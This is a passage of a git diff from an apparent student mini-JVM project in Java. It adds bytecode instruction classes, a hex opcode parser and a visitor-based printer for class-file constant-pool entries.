+    //public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetFieldCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..a5fe80425b
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,20 @@
+package me.lzb.jvm.cmd;
+
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantPool;
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+    public GetFieldCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsField(pool);
+    }
+
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetStaticFieldCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..2d4d8d53a6
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,19 @@
+package me.lzb.jvm.cmd;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantPool;
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+    public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsField(pool);
+    }
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeSpecialCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..6af68455a0
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,21 @@
+package me.lzb.jvm.cmd;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantPool;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+    public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsMethod(pool);
+    }
+
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeVirtualCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..5d87c07505
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,19 @@
+package me.lzb.jvm.cmd;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantPool;
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+    public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsMethod(pool);
+    }
+
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/LdcCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..a34a64b5b0
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package me.lzb.jvm.cmd;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantInfo;
+import me.lzb.jvm.constant.ConstantPool;
+import me.lzb.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+    public LdcCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        ConstantInfo info = (ConstantInfo) pool.getConstantInfo(this.getOperand());
+
+        String value = "TBD";
+        if (info instanceof StringInfo) {
+            StringInfo strInfo = (StringInfo) info;
+            value = strInfo.toString();
+        }
+
+        return this.getOffset() + ":" + this.getOpCode() + " " + this.getReadableCodeText() + " " + value;
+
+    }
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NewObjectCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..ba7d9df3a7
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package me.lzb.jvm.cmd;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd {
+
+    public NewObjectCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsClassInfo(pool);
+    }
+
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NoOperandCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..242f02716a
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,22 @@
+package me.lzb.jvm.cmd;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand {
+
+    public NoOperandCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+        return this.getOffset() + ":" + this.getOpCode() + " " + this.getReadableCodeText();
+    }
+
+
+    public int getLength() {
+        return 1;
+    }
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/OneOperandCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..00805c5dc7
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,29 @@
+package me.lzb.jvm.cmd;
+
+import me.lzb.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+    private int operand;
+
+    public OneOperandCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+
+    }
+
+    public int getOperand() {
+
+        return this.operand;
+    }
+
+    public void setOperand(int oprand1) {
+        this.operand = oprand1;
+
+    }
+
+    public int getLength() {
+        return 2;
+    }
+
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/PutFieldCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..df00e5bb8e
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,20 @@
+package me.lzb.jvm.cmd;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantPool;
+
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+    public PutFieldCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsField(pool);
+    }
+
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/TwoOperandCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..b87faca257
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,64 @@
+package me.lzb.jvm.cmd;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.*;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand {
+
+    int oprand1 = -1;
+    int oprand2 = -1;
+
+    public int getOprand1() {
+        return oprand1;
+    }
+
+    public void setOprand1(int oprand1) {
+        this.oprand1 = oprand1;
+    }
+
+    public void setOprand2(int oprand2) {
+        this.oprand2 = oprand2;
+    }
+
+    public int getOprand2() {
+        return oprand2;
+    }
+
+    public TwoOperandCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    public int getIndex() {
+        int oprand1 = this.getOprand1();
+        int oprand2 = this.getOprand2();
+        int index = oprand1 << 8 | oprand2;
+        return index;
+    }
+
+    protected String getOperandAsClassInfo(ConstantPool pool) {
+        int index = getIndex();
+        String codeTxt = getReadableCodeText();
+        ClassInfo info = (ClassInfo) pool.getConstantInfo(index);
+        return this.getOffset() + ":" + this.getOpCode() + " " + codeTxt + "  " + info.getClassName();
+    }
+
+    protected String getOperandAsMethod(ConstantPool pool) {
+        int index = getIndex();
+        String codeTxt = getReadableCodeText();
+        ConstantInfo constInfo = this.getConstantInfo(index);
+        MethodRefInfo info = (MethodRefInfo) this.getConstantInfo(index);
+        return this.getOffset() + ":" + this.getOpCode() + " " + codeTxt + "  " + info.toString();
+    }
+
+    protected String getOperandAsField(ConstantPool pool) {
+        int index = getIndex();
+
+        String codeTxt = getReadableCodeText();
+        FieldRefInfo info = (FieldRefInfo) this.getConstantInfo(index);
+        return this.getOffset() + ":" + this.getOpCode() + " " + codeTxt + "  " + info.toString();
+    }
+
+    public int getLength() {
+        return 3;
+    }
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ClassInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ClassInfo.java
index 200e59834a..16ea736db1 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ClassInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ClassInfo.java
@@ -1,5 +1,7 @@
 package me.lzb.jvm.constant;
 
+import me.lzb.jvm.print.PrintVisitor;
+
 /**
  * Created by LZB on 2017/4/14.
  */
@@ -16,6 +18,11 @@ public int getType() {
         return type;
     }
 
+    @Override
+    public void print(PrintVisitor visitor) {
+        visitor.visitClassInfo(this);
+    }
+
     public int getUtf8Index() {
         return utf8Index;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ConstantInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ConstantInfo.java
index 3bbabf2180..e1952a7a3e 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ConstantInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/ConstantInfo.java
@@ -1,9 +1,12 @@
 package me.lzb.jvm.constant;
 
+import me.lzb.jvm.print.Print;
+import me.lzb.jvm.print.PrintVisitor;
+
 /**
  * Created by LZB on 2017/4/14.
  */
-public abstract class ConstantInfo {
+public abstract class ConstantInfo implements Print {
 
     public static final String MAGIC_NUMBER = "cafebabe";
 
@@ -20,11 +23,10 @@ public abstract class ConstantInfo {
     public static final int Utf8_info = 1;
 
 
-
     protected ConstantPool constantPool;
 
 
-    public ConstantInfo(){
+    public ConstantInfo() {
 
     }
 
@@ -35,10 +37,16 @@ public ConstantInfo(ConstantPool pool) {
     public ConstantPool getConstantPool() {
         return constantPool;
     }
-    public ConstantInfo getConstantInfo(int index){
+
+    public ConstantInfo getConstantInfo(int index) {
         return this.constantPool.getConstantInfo(index);
     }
 
 
     public abstract int getType();
+
+
+    @Override
+    public abstract void print(PrintVisitor visitor);
+
 }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/FieldRefInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/FieldRefInfo.java
index 0ebab33b39..36e77e84d9 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/FieldRefInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/FieldRefInfo.java
@@ -1,5 +1,7 @@
 package me.lzb.jvm.constant;
 
+import me.lzb.jvm.print.PrintVisitor;
+
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -17,6 +19,11 @@ public int getType() {
         return type;
     }
 
+    @Override
+    public void print(PrintVisitor visitor) {
+        visitor.visitFieldRef(this);
+    }
+
     public int getClassInfoIndex() {
         return classInfoIndex;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/MethodRefInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/MethodRefInfo.java
index 263c185af5..bd921ccf67 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/MethodRefInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/MethodRefInfo.java
@@ -1,5 +1,7 @@
 package me.lzb.jvm.constant;
 
+import me.lzb.jvm.print.PrintVisitor;
+
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -18,6 +20,11 @@ public int getType() {
         return type;
     }
 
+    @Override
+    public void print(PrintVisitor visitor) {
+        visitor.visitMethodRef(this);
+    }
+
     public int getClassInfoIndex() {
         return classInfoIndex;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NameAndTypeInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NameAndTypeInfo.java
index bdf158ec37..4cef60cc3f 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NameAndTypeInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NameAndTypeInfo.java
@@ -1,5 +1,7 @@
 package me.lzb.jvm.constant;
 
+import me.lzb.jvm.print.PrintVisitor;
+
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -18,6 +20,11 @@ public int getType() {
         return type;
     }
 
+    @Override
+    public void print(PrintVisitor visitor) {
+        visitor.visitNameAndType(this);
+    }
+
     public int getIndex1() {
         return index1;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NullConstantInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NullConstantInfo.java
index 7f9debba3b..88b90ca6c1 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NullConstantInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/NullConstantInfo.java
@@ -1,5 +1,7 @@
 package me.lzb.jvm.constant;
 
+import me.lzb.jvm.print.PrintVisitor;
+
 /**
  * Created by LZB on 2017/4/14.
  */
@@ -9,4 +11,9 @@ public class NullConstantInfo extends ConstantInfo{
     public int getType() {
         return -1;
     }
+
+    @Override
+    public void print(PrintVisitor visitor) {
+
+    }
 }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/StringInfo.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/StringInfo.java
index 8ba36d8cfc..5d5fc284af 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/StringInfo.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/StringInfo.java
@@ -1,5 +1,7 @@
 package me.lzb.jvm.constant;
 
+import me.lzb.jvm.print.PrintVisitor;
+
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -16,6 +18,11 @@ public int getType() {
         return type;
     }
 
+    @Override
+    public void print(PrintVisitor visitor) {
+        visitor.visitString(this);
+    }
+
     public int getIndex() {
         return index;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/UTF8Info.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/UTF8Info.java
index d3f35c2fd7..9a27b3c716 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/UTF8Info.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/constant/UTF8Info.java
@@ -1,5 +1,7 @@
 package me.lzb.jvm.constant;
 
+import me.lzb.jvm.print.PrintVisitor;
+
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -20,6 +22,11 @@ public int getType() {
         return type;
     }
 
+    @Override
+    public void print(PrintVisitor visitor) {
+        visitor.visistUTF8(this);
+    }
+
     public String getValue() {
         return value;
     }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/ClassFileParser.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/ClassFileParser.java
index bfd3cbc2c0..e265907158 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/ClassFileParser.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/ClassFileParser.java
@@ -208,7 +208,7 @@ private void parserMethod(ClassFile classFile) {
             int attributesCount = nextBytesToInt(2);
 
 
-            Method method = new Method(accessFlags, nameIndex, descriptorIndex);
+            Method method = new Method(classFile, accessFlags, nameIndex, descriptorIndex);
 
 
             for (int j = 1; j <= attributesCount; j++) {
@@ -239,7 +239,11 @@ private void parserCodeAttr(int attributeNameIndex, Method method, ClassFile cla
         int codeLength = nextBytesToInt(4);
 
         String code = nextBytesToString(codeLength);
-        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code);
+
+        //处理cmd
+        CommandParser commandParser = new CommandParser(code);
+
+        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code, commandParser.parse(classFile));
 
         int exceptionTableLength = nextBytesToInt(2);
         if (exceptionTableLength > 0) {
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/CommandParser.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/CommandParser.java
new file mode 100644
index 0000000000..829b1670c7
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/loader/CommandParser.java
@@ -0,0 +1,188 @@
+package me.lzb.jvm.loader;
+
+import me.lzb.common.utils.StringUtils;
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.cmd.*;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by LZB on 2017/4/22.
+ */
+public class CommandParser {
+    public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
+
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
+
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+
+
+    private int index;
+
+    private final char[] data;
+
+    public CommandParser(String codes) {
+        if (StringUtils.isBlank(codes)) {
+            throw new RuntimeException("the orignal code is not correct!");
+        }
+        codes = codes.toUpperCase();
+        data = codes.toCharArray();
+    }
+
+    private char[] nextChars(int nextLength) {
+        char[] target = new char[nextLength];
+        System.arraycopy(data, index, target, 0, nextLength);
+        index = index + nextLength;
+        return target;
+    }
+
+    private int nextCharsToInt(int nextLength) {
+        return Integer.valueOf(String.valueOf(nextChars(nextLength)), 16).intValue();
+    }
+
+    private String nextCharsToString(int nextLength) {
+        return String.valueOf(nextChars(nextLength));
+    }
+
+    private boolean hasNext() {
+        return index < data.length;
+    }
+
+
+    public ByteCodeCommand[] parse(ClassFile clzFile) {
+
+        List<ByteCodeCommand> cmds = new ArrayList<>();
+
+        while (hasNext()) {
+            String opCode = nextCharsToString(2);
+
+            if (new_object.equals(opCode)) {
+                NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+
+                cmd.setOprand1(nextCharsToInt(2));
+                cmd.setOprand2(nextCharsToInt(2));
+
+                cmds.add(cmd);
+            } else if (invokespecial.equals(opCode)) {
+                InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+
+                cmd.setOprand1(nextCharsToInt(2));
+                cmd.setOprand2(nextCharsToInt(2));
+
+                cmds.add(cmd);
+            } else if (invokevirtual.equals(opCode)) {
+                InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+
+                cmd.setOprand1(nextCharsToInt(2));
+                cmd.setOprand2(nextCharsToInt(2));
+
+                cmds.add(cmd);
+            } else if (getfield.equals(opCode)) {
+                GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+                cmd.setOprand1(nextCharsToInt(2));
+                cmd.setOprand2(nextCharsToInt(2));
+
+                cmds.add(cmd);
+            } else if (getstatic.equals(opCode)) {
+                GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+
+                cmd.setOprand1(nextCharsToInt(2));
+                cmd.setOprand2(nextCharsToInt(2));
+
+                cmds.add(cmd);
+            } else if (putfield.equals(opCode)) {
+                PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+                cmd.setOprand1(nextCharsToInt(2));
+                cmd.setOprand2(nextCharsToInt(2));
+                cmds.add(cmd);
+            } else if (ldc.equals(opCode)) {
+                LdcCmd cmd = new LdcCmd(clzFile, opCode);
+                cmd.setOperand(nextCharsToInt(2));
+                cmds.add(cmd);
+            } else if (bipush.equals(opCode)) {
+                BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+                cmd.setOperand(nextCharsToInt(2));
+                cmds.add(cmd);
+            } else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
+                || iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
+                || fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+
+                NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+                cmds.add(cmd);
+            } else {
+                throw new RuntimeException("Sorry, the java instruction " + opCode + "has not been implement.");
+            }
+        }
+
+        calcuateOffset(cmds);
+
+        ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+        cmds.toArray(result);
+        return result;
+    }
+
+    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+        int offset = 0;
+        for (ByteCodeCommand cmd : cmds) {
+            cmd.setOffset(offset);
+            offset += cmd.getLength();
+        }
+
+    }
+
+    private static class CommandIterator {
+        String codes = null;
+        int pos = 0;
+
+        CommandIterator(String codes) {
+            this.codes = codes;
+        }
+
+        public boolean hasNext() {
+            return pos < this.codes.length();
+        }
+
+        public String next2CharAsString() {
+            String result = codes.substring(pos, pos + 2);
+            pos += 2;
+            return result;
+        }
+
+        public int next2CharAsInt() {
+            String s = this.next2CharAsString();
+            return Integer.valueOf(s, 16).intValue();
+        }
+
+    }
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/method/Method.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/method/Method.java
index 9c3e9ad984..8c35d5aec5 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/method/Method.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/method/Method.java
@@ -1,6 +1,8 @@
 package me.lzb.jvm.method;
 
 import me.lzb.jvm.attr.CodeAttr;
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.cmd.ByteCodeCommand;
 
 /**
  * Created by LZB on 2017/4/15.
@@ -12,11 +14,11 @@ public class Method {
 
     private CodeAttr codeAttr;
 
-//    private ClassFile clzFile;
+    private ClassFile clzFile;
 
 
-    public Method(/*ClassFile clzFile,*/ int accessFlag, int nameIndex, int descriptorIndex) {
-//        this.clzFile = clzFile;
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+        this.clzFile = clzFile;
         this.accessFlag = accessFlag;
         this.nameIndex = nameIndex;
         this.descriptorIndex = descriptorIndex;
@@ -55,11 +57,15 @@ public void setCodeAttr(CodeAttr codeAttr) {
         this.codeAttr = codeAttr;
     }
 
-//    public ClassFile getClzFile() {
-//        return clzFile;
-//    }
-//
-//    public void setClzFile(ClassFile clzFile) {
-//        this.clzFile = clzFile;
-//    }
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public void setClzFile(ClassFile clzFile) {
+        this.clzFile = clzFile;
+    }
+
+    public ByteCodeCommand[] getCmds() {
+        return this.getCodeAttr().getCmds();
+    }
 }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/ClassPrinter.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/ClassPrinter.java
new file mode 100644
index 0000000000..0b1566669a
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/ClassPrinter.java
@@ -0,0 +1,36 @@
+package me.lzb.jvm.print;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantInfo;
+import me.lzb.jvm.constant.ConstantPool;
+
+/**
+ * Created by LZB on 2017/4/23.
+ */
+public class ClassPrinter {
+
+    private ClassFile classFile;
+
+    private ConstantPool pool;
+
+    public ClassPrinter(ClassFile classFile) {
+        this.classFile = classFile;
+        this.pool = classFile.getConstantPool();
+    }
+
+
+    public void print() {
+        PrintVisitor visitor = new PrintFormat();
+
+        classFile.print(visitor);
+
+        System.out.println("Constant Pool:");
+
+        for (int i = 1; i <= pool.getSize(); i++) {
+            ConstantInfo constantInfo = pool.getConstantInfo(i);
+            System.out.print("#" + i + " = ");
+            constantInfo.print(visitor);
+        }
+    }
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/Print.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/Print.java
new file mode 100644
index 0000000000..1435d46814
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/Print.java
@@ -0,0 +1,10 @@
+package me.lzb.jvm.print;
+
+/**
+ * Created by LZB on 2017/4/23.
+ */
+public interface Print {
+
+    public void print(PrintVisitor visitor);
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintFormat.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintFormat.java
new file mode 100644
index 0000000000..663496de8e
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintFormat.java
@@ -0,0 +1,57 @@
+package me.lzb.jvm.print;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.*;
+
+/**
+ * Created by LZB on 2017/4/23.
+ */
+public class PrintFormat implements PrintVisitor {
+
+
+    @Override
+    public void visitBasicMsg(ClassFile info) {
+        System.out.println("Access flag : " + info.getAccessFlag().getFlagString());
+
+        System.out.println("Class Name:" + info.getClassName());
+
+        System.out.println("Super Class Name:" + info.getSuperClassName());
+
+        System.out.println("minor version:" + info.getMinorVersion());
+
+        System.out.println("major version:" + info.getMajorVersion());
+
+        System.out.println();
+    }
+
+
+    @Override
+    public void visistUTF8(UTF8Info info) {
+        System.out.println("UTF8    " + info.getValue());
+    }
+
+    @Override
+    public void visitClassInfo(ClassInfo info) {
+        System.out.println("Class    #" + info.getUtf8Index() + "  " + info.getClassName());
+    }
+
+    @Override
+    public void visitFieldRef(FieldRefInfo info) {
+        System.out.println("FieldRef    #" + info.getClassInfoIndex() + ".#" + info.getNameAndTypeIndex());
+    }
+
+    @Override
+    public void visitMethodRef(MethodRefInfo info) {
+        System.out.println("MethodRef    #" + info.getClassInfoIndex() + ".#" + info.getNameAndTypeIndex());
+    }
+
+    @Override
+    public void visitNameAndType(NameAndTypeInfo info) {
+        System.out.println("NameAndType    #" + info.getIndex1() + ":#" + info.getIndex2());
+    }
+
+    @Override
+    public void visitString(StringInfo info) {
+        System.out.println("String    #" + info.getIndex());
+    }
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintVisitor.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/print/PrintVisitor.java
new file mode 100644
index 0000000000..6d846786bc
--- /dev/null
